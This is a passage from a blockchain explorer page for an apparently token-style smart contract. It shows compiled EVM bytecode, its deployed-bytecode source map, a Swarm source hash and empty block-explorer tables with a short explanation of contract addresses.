1082610faa565b5b8360020a91508482111561109a57611099610faa565b5b506110ff565b5060208310610133831016604e8410600b84101617156110d55782820a9050838111156110d0576110cf610faa565b5b6110ff565b6110e28484846001610fe3565b925090508184048111156110f9576110f8610faa565b5b81810290505b9392505050565b5f61111082610db3565b915061111b83610ecf565b92506111487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611035565b905092915050565b5f61115a82610db3565b915061116583610db3565b925082820261117381610db3565b9150828204841483151761118a57611189610faa565b5b5092915050565b5f61119b82610db3565b91506111a683610db3565b92508282039050818111156111be576111bd610faa565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6111fb82610db3565b915061120683610db3565b925082611216576112156111c4565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6112a76112a261129d8461127b565b611284565b610db3565b9050919050565b6112b78161128d565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6112ef81610d78565b82525050565b5f61130083836112e6565b60208301905092915050565b5f602082019050919050565b5f611322826112bd565b61132c81856112c7565b9350611337836112d7565b805f5b8381101561136757815161134e88826112f5565b97506113598361130c565b92505060018101905061133a565b5085935050505092915050565b61137d81610d78565b82525050565b5f60a0820190506113965f830188610e57565b6113a360208301876112ae565b81810360408301526113b58186611318565b90506113c46060830185611374565b6113d16080830184610e57565b9695505050505050565b5f6113e582610db3565b91506113f083610db3565b925082820190508082111561140857611407610faa565b5b9291505056fea2646970667358221220fc565a067bb4526ab695822273b3dfce465d8f89c9915e0985ef160641bdb1f264736f6c63430008140033

Deployed Bytecode Sourcemap

510:3880:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;537:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2059:222;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;691:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2441:208;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;645:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;898:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4178:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;590:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2293:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3995:171;;;;;;;;;;;;;:::i;:::-;;954:66;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;537:38;;;;;;;;;;;;;;;;;;;:::o;2059:222::-;2127:4;2180:6;2147:9;:21;2157:10;2147:21;;;;;;;;;;;;;;;:30;2169:7;2147:30;;;;;;;;;;;;;;;:39;;;;2227:7;2206:37;;2215:10;2206:37;;;2236:6;2206:37;;;;;;:::i;:::-;;;;;;;;2265:4;2258:11;;2059:222;;;;:::o;691:65::-;678:2;744;:12;;;;:::i;:::-;729;:27;;;;:::i;:::-;691:65;:::o;2441:208::-;2523:4;2574:6;2543:9;:15;2553:4;2543:15;;;;;;;;;;;;;;;:27;2559:10;2543:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;2610:27;2620:4;2626:2;2630:6;2610:9;:27::i;:::-;2603:34;;2441:208;;;;;:::o;645:35::-;678:2;645:35;:::o;898:45::-;;;;;;;;;;;;;;;;;:::o;4178:201::-;1661:42;4264:22;;:10;:22;;;4256:31;;;;;;4315:7;4302:10;:20;;;;4353:10;4337:13;:26;;;;4178:201;;:::o;590:40::-;;;;;;;;;;;;;;;;;;;:::o;2293:136::-;2357:4;2384:33;2394:10;2406:2;2410:6;2384:9;:33::i;:::-;2377:40;;2293:136;;;;:::o;3995:171::-;1661:42;4050:22;;:10;:22;;;4042:31;;;;;;4097:11;;;;;;;;;;;4096:12;4088:21;;;;;;4138:4;4124:11;;:18;;;;;;;;;;;;;;;;;;3995:171::o;954:66::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2661:1322::-;2740:4;2768:11;;;;;;;;;;;:31;;;;1661:42;2783:16;;:4;:16;;;2768:31;:49;;;;1661:42;2803:14;;:2;:14;;;2768:49;2760:58;;;;;;2839:11;;;;;;;;;;;2838:12;:34;;;;;2870:1;2854:18;;:4;;;;;;;;;;;:18;;;2838:34;:48;;;;;2885:1;2876:6;:10;2838:48;2835:79;;;2912:2;2905:4;;:9;;;;;;;;;;;;;;;;;;2835:79;2950:6;2931:9;:15;2941:4;2931:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;2983:4;;;;;;;;;;;2977:10;;:2;:10;;;:23;;;;;2992:8;;;;;;;;;;;2991:9;2977:23;:65;;;;;882:3;678:2;744;:12;;;;:::i;:::-;729;:27;;;;:::i;:::-;868:17;;;;:::i;:::-;3004:9;:24;3022:4;3004:24;;;;;;;;;;;;;;;;:38;;2977:65;2973:619;;;3073:4;3062:8;;:15;;;;;;;;;;;;;;;;;;3096:21;3135:1;3120:17;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3096:41;;3174:4;3156;3161:1;3156:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;1379:42;3198:4;3203:1;3198:7;;;;;;;;:::i;:::-;;;;;;;:13;;;;;;;;;;;1465:42;3230:67;;;882:3;678:2;744;:12;;;;:::i;:::-;729;:27;;;;:::i;:::-;868:17;;;;:::i;:::-;3353:1;3377:4;3412;3440:15;3230:248;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1661:42;3497:17;;:40;3515:21;3497:40;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3567:5;3556:8;;:16;;;;;;;;;;;;;;;;;;3043:549;2973:619;3627:4;3611:21;;:4;:21;;;3608:238;;3652:19;3729:3;3692:4;;;;;;;;;;;3684:12;;:4;:12;;;:41;;3712:13;;3684:41;;;3699:10;;3684:41;3674:6;:52;;;;:::i;:::-;:58;;;;:::i;:::-;3652:80;;3761:11;3751:21;;;;;:::i;:::-;;;3819:11;3791:9;:24;3809:4;3791:24;;;;;;;;;;;;;;;;:39;;;;;;;:::i;:::-;;;;;;;;3633:213;3608:238;3881:6;3864:9;:13;3874:2;3864:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;3926:2;3911:26;;3920:4;3911:26;;;3930:6;3911:26;;;;;;:::i;:::-;;;;;;;;3963:4;3956:11;;2661:1322;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:::-;5736:6;5744;5793:2;5781:9;5772:7;5768:23;5764:32;5761:119;;;5799:79;;:::i;:::-;5761:119;5919:1;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5890:117;6046:2;6072:53;6117:7;6108:6;6097:9;6093:22;6072:53;:::i;:::-;6062:63;;6017:118;5668:474;;;;;:::o;6148:180::-;6196:77;6193:1;6186:88;6293:4;6290:1;6283:15;6317:4;6314:1;6307:15;6334:102;6376:8;6423:5;6420:1;6416:13;6395:34;;6334:102;;;:::o;6442:848::-;6503:5;6510:4;6534:6;6525:15;;6558:5;6549:14;;6572:712;6593:1;6583:8;6580:15;6572:712;;;6688:4;6683:3;6679:14;6673:4;6670:24;6667:50;;;6697:18;;:::i;:::-;6667:50;6747:1;6737:8;6733:16;6730:451;;;7162:4;7155:5;7151:16;7142:25;;6730:451;7212:4;7206;7202:15;7194:23;;7242:32;7265:8;7242:32;:::i;:::-;7230:44;;6572:712;;;6442:848;;;;;;;:::o;7296:1073::-;7350:5;7541:8;7531:40;;7562:1;7553:10;;7564:5;;7531:40;7590:4;7580:36;;7607:1;7598:10;;7609:5;;7580:36;7676:4;7724:1;7719:27;;;;7760:1;7755:191;;;;7669:277;;7719:27;7737:1;7728:10;;7739:5;;;7755:191;7800:3;7790:8;7787:17;7784:43;;;7807:18;;:::i;:::-;7784:43;7856:8;7853:1;7849:16;7840:25;;7891:3;7884:5;7881:14;7878:40;;;7898:18;;:::i;:::-;7878:40;7931:5;;;7669:277;;8055:2;8045:8;8042:16;8036:3;8030:4;8027:13;8023:36;8005:2;7995:8;7992:16;7987:2;7981:4;7978:12;7974:35;7958:111;7955:246;;;8111:8;8105:4;8101:19;8092:28;;8146:3;8139:5;8136:14;8133:40;;;8153:18;;:::i;:::-;8133:40;8186:5;;7955:246;8226:42;8264:3;8254:8;8248:4;8245:1;8226:42;:::i;:::-;8211:57;;;;8300:4;8295:3;8291:14;8284:5;8281:25;8278:51;;;8309:18;;:::i;:::-;8278:51;8358:4;8351:5;8347:16;8338:25;;7296:1073;;;;;;:::o;8375:281::-;8433:5;8457:23;8475:4;8457:23;:::i;:::-;8449:31;;8501:25;8517:8;8501:25;:::i;:::-;8489:37;;8545:104;8582:66;8572:8;8566:4;8545:104;:::i;:::-;8536:113;;8375:281;;;;:::o;8662:410::-;8702:7;8725:20;8743:1;8725:20;:::i;:::-;8720:25;;8759:20;8777:1;8759:20;:::i;:::-;8754:25;;8814:1;8811;8807:9;8836:30;8854:11;8836:30;:::i;:::-;8825:41;;9015:1;9006:7;9002:15;8999:1;8996:22;8976:1;8969:9;8949:83;8926:139;;9045:18;;:::i;:::-;8926:139;8710:362;8662:410;;;;:::o;9078:194::-;9118:4;9138:20;9156:1;9138:20;:::i;:::-;9133:25;;9172:20;9190:1;9172:20;:::i;:::-;9167:25;;9216:1;9213;9209:9;9201:17;;9240:1;9234:4;9231:11;9228:37;;;9245:18;;:::i;:::-;9228:37;9078:194;;;;:::o;9278:180::-;9326:77;9323:1;9316:88;9423:4;9420:1;9413:15;9447:4;9444:1;9437:15;9464:185;9504:1;9521:20;9539:1;9521:20;:::i;:::-;9516:25;;9555:20;9573:1;9555:20;:::i;:::-;9550:25;;9594:1;9584:35;;9599:18;;:::i;:::-;9584:35;9641:1;9638;9634:9;9629:14;;9464:185;;;;:::o;9655:180::-;9703:77;9700:1;9693:88;9800:4;9797:1;9790:15;9824:4;9821:1;9814:15;9841:180;9889:77;9886:1;9879:88;9986:4;9983:1;9976:15;10010:4;10007:1;10000:15;10027:85;10072:7;10101:5;10090:16;;10027:85;;;:::o;10118:60::-;10146:3;10167:5;10160:12;;10118:60;;;:::o;10184:158::-;10242:9;10275:61;10293:42;10302:32;10328:5;10302:32;:::i;:::-;10293:42;:::i;:::-;10275:61;:::i;:::-;10262:74;;10184:158;;;:::o;10348:147::-;10443:45;10482:5;10443:45;:::i;:::-;10438:3;10431:58;10348:147;;:::o;10501:114::-;10568:6;10602:5;10596:12;10586:22;;10501:114;;;:::o;10621:184::-;10720:11;10754:6;10749:3;10742:19;10794:4;10789:3;10785:14;10770:29;;10621:184;;;;:::o;10811:132::-;10878:4;10901:3;10893:11;;10931:4;10926:3;10922:14;10914:22;;10811:132;;;:::o;10949:108::-;11026:24;11044:5;11026:24;:::i;:::-;11021:3;11014:37;10949:108;;:::o;11063:179::-;11132:10;11153:46;11195:3;11187:6;11153:46;:::i;:::-;11231:4;11226:3;11222:14;11208:28;;11063:179;;;;:::o;11248:113::-;11318:4;11350;11345:3;11341:14;11333:22;;11248:113;;;:::o;11397:732::-;11516:3;11545:54;11593:5;11545:54;:::i;:::-;11615:86;11694:6;11689:3;11615:86;:::i;:::-;11608:93;;11725:56;11775:5;11725:56;:::i;:::-;11804:7;11835:1;11820:284;11845:6;11842:1;11839:13;11820:284;;;11921:6;11915:13;11948:63;12007:3;11992:13;11948:63;:::i;:::-;11941:70;;12034:60;12087:6;12034:60;:::i;:::-;12024:70;;11880:224;11867:1;11864;11860:9;11855:14;;11820:284;;;11824:14;12120:3;12113:10;;11521:608;;;11397:732;;;;:::o;12135:118::-;12222:24;12240:5;12222:24;:::i;:::-;12217:3;12210:37;12135:118;;:::o;12259:831::-;12522:4;12560:3;12549:9;12545:19;12537:27;;12574:71;12642:1;12631:9;12627:17;12618:6;12574:71;:::i;:::-;12655:80;12731:2;12720:9;12716:18;12707:6;12655:80;:::i;:::-;12782:9;12776:4;12772:20;12767:2;12756:9;12752:18;12745:48;12810:108;12913:4;12904:6;12810:108;:::i;:::-;12802:116;;12928:72;12996:2;12985:9;12981:18;12972:6;12928:72;:::i;:::-;13010:73;13078:3;13067:9;13063:19;13054:6;13010:73;:::i;:::-;12259:831;;;;;;;;:::o;13096:191::-;13136:3;13155:20;13173:1;13155:20;:::i;:::-;13150:25;;13189:20;13207:1;13189:20;:::i;:::-;13184:25;;13232:1;13229;13225:9;13218:16;;13253:3;13250:1;13247:10;13244:36;;;13260:18;;:::i;:::-;13244:36;13096:191;;;;:::o

Swarm Source

ipfs://fc565a067bb4526ab695822273b3dfce465d8f89c9915e0985ef160641bdb1f2

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.